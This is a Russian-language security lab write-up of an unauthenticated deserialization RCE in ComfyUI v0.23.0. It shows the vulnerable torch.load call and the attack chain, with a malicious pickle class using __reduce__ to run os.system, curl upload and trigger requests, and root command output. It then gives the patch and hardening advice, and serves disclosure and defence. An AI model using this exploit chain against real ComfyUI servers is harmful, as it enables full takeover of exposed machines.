
Лаборатория исследования безопасности — неаутентифицированное RCE через небезопасную десериализацию в ComfyUI v0.23.0 (CVSS 9.8). Изолированная среда Docker, технический анализ и документация.
Только в образовательных целях. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
ComfyUI — это открытый графический интерфейс на основе узлов для локального запуска моделей генерации изображений и видео с помощью ИИ. Он позволяет пользователям строить сложные конвейеры генерации, визуально соединяя узлы — каждый узел представляет собой операцию, такую как загрузка модели, кодирование текстовых запросов, сэмплирование или постобработка изображений. Его гибкость и поддержка широкого спектра моделей (Stable Diffusion, Flux, HunyuanVideo и других) сделали его одним из наиболее широко используемых инструментов в сообществе генеративного ИИ.
Приложение предоставляет локальный HTTP API на порту 8188, через который фронтенд взаимодействует с бэкендом для загрузки ресурсов и постановки в очередь рабочих процессов генерации. Хотя оно предназначено для локального использования одним пользователем, экземпляры ComfyUI часто оказываются доступными во внутренних сетях или напрямую в интернете — в облачных средах с GPU, в общих исследовательских установках или в самостоятельно размещённых творческих студиях — часто без какого-либо дополнительного слоя аутентификации, что в точности соответствует модели угроз, на которую нацелена эта уязвимость.
На момент раскрытия у ComfyUI было более 65 000 звёзд на GitHub и активная экосистема пользовательских узлов и расширений, многие из которых добавляют дополнительную поверхность атаки за пределами основного приложения.
CVE-2026-68771 — это уязвимость небезопасной десериализации (CWE-502) в ComfyUI v0.23.0, которая позволяет неаутентифицированному удалённому злоумышленнику выполнить произвольный код на сервере. Цепочка атаки объединяет две неаутентифицированные конечные точки: для загрузки вредоносного pickle-файла и для запуска его десериализации через узел .
POST /upload/imagePOST /promptLoadTrainingDataset| Поле | Значение |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (критический) |
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (десериализация недоверенных данных) |
| Уязвимая версия | ComfyUI v0.23.0 (и более ранние без исправления) |
| Исправленная версия | Коммит 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| Опубликовано | 31 июля 2026 г. |
weights_only)POST /upload/image — server.py, строки 450-453:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py, строки 927-928:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
Ни одна из конечных точек не реализует контроль доступа. Любой HTTP-клиент может загружать файлы и ставить рабочие процессы в очередь без аутентификации.
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py, строка 1568:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
torch.load() без weights_only=True использует протокол pickle языка Python для десериализации файла. Pickle — это не формат данных, а протокол сериализации объектов Python, который выполняет метод __reduce__ любого объекта во время десериализации, что позволяет выполнить произвольный код.
Узел полагался на историческое значение по умолчанию PyTorch (weights_only=False), что делало его единственным вызовом torch.load во всей кодовой базе без явного параметра. Остальная часть кодовой базы (comfy/utils.py, comfy/sd1_clip.py) уже передавала его корректно.
Attacker (unauthenticated)
[0] CRAFT MALICIOUS PICKLE
└─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
└─ PyTorch's torch.save() format wraps it in a valid .pkl container
└─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Upload shard_0000.pkl (pickle with malicious __reduce__)
└─ Parameters: type=output, subfolder=cve_test
└─ Response: 200 OK {"name":"shard_0000.pkl", ...}
└─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ JSON workflow with LoadTrainingDataset node
└─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
└─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Locates shard_0000.pkl in the directory
└─ torch.load(f) → deserializes the pickle
└─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE as root
└─ uid=0(root) gid=0(root) groups=0(root)
Полезная нагрузка эксплуатирует протокол __reduce__ языка Python. Когда torch.load() десериализует файл, Python создаёт объект, вызывая callable, возвращённый __reduce__, выполняя контролируемую злоумышленником команду до запуска любой логики приложения.
Имя файла должно соответствовать шаблону shard_*.pkl — жёстко заданному в LoadTrainingDataset.execute() в качестве фильтра обнаружения файлов:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
Вывод:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
Ответ:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200 без токена, без сессии, без специальных заголовков.
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
Ответ:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
Файл: comfy_extras/nodes_dataset.py
Автор: Matt Miller
Дата: 18 июня 2026 г.
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
Один параметр. weights_only=True указывает PyTorch использовать ограниченный десериализатор, который принимает только тензоры и примитивные типы Python, отклоняя любой произвольный объект с __reduce__.
Сообщение коммита ясно это резюмирует:
"LoadTrainingDataset was the only torch.load call in the codebase without weights_only=True; comfy/utils.py and comfy/sd1_clip.py already pass it. Recent PyTorch defaults to weights_only=True, so this is defense-in-depth for installs pinned to older PyTorch."
Примечание о версии PyTorch: Начиная с PyTorch 2.6, значение по умолчанию weights_only изменилось с False на True, что смягчает уязвимость на современных установках PyTorch даже без исправления кода. CVE особенно затрагивает установки, работающие на PyTorch < 2.6, что было типичной производственной средой на момент публикации в июле 2026 года.
Обновите ComfyUI до коммита 94ee49b или более позднего. Одна строка кода.
1. Аутентификация на конечных точках API
ComfyUI предназначен для локального использования. Если он доступен в сети, его необходимо защитить с помощью обратного прокси (nginx/Caddy) с базовой аутентификацией или с помощью флага --multi-user с надлежащим управлением сессиями.
2. Никогда не выставляйте ComfyUI напрямую в интернет
Дизайн приложения предполагает доверенную локальную среду. Оценка CVSS 9.8 отражает полное отсутствие контроля доступа на уровне приложения.
3. Проверка типов файлов при загрузке
Конечная точка /upload/image принимает любое расширение файла, включая .pkl. Она должна проверять content-type и расширение по белому списку фактических форматов изображений.
torch.load уже имели его) говорит о том, что этот узел был добавлен без проверки безопасности.weights_only; уязвимый код существовал в течение всего этого периода.Анализ проводился в изолированной среде в образовательных целях. Лаборатория уничтожена после документирования.